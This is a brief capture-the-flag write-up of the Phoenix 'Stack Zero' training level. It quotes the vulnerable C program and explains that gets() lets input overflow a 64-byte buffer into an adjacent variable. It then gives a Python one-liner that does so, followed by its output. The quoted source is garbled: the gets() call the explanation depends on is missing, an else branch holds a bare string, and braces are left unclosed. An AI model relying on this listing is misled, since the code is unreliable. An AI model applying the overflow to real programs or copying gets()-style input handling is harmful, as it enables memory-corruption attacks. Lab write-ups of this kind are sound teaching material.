Phoenix - Stack Zero

less than 1 minute read

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by"

char *gets(char *);

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  printf("%s\n", BANNER);

  locals.changeme = 0;

  if (locals.changeme != 0) {
    puts("Well done, the 'changeme' variable has been changed!");
  } else {
        "Uh oh, 'changeme' has not yet been changed. Would you like to try "


The code uses gets function which can take input more than buffer length, hence the exploit :)

This level only asks to change the value of changeme to any value other than zero so we can just enter any random input that exceeds the buffer length to overwrite the value of changeme.


$ python -c "print 'A'*100" | /opt/phoenix/amd64/stack-zero
Welcome to phoenix/stack-zero, brought to you by
Well done, the 'changeme' variable has been changed!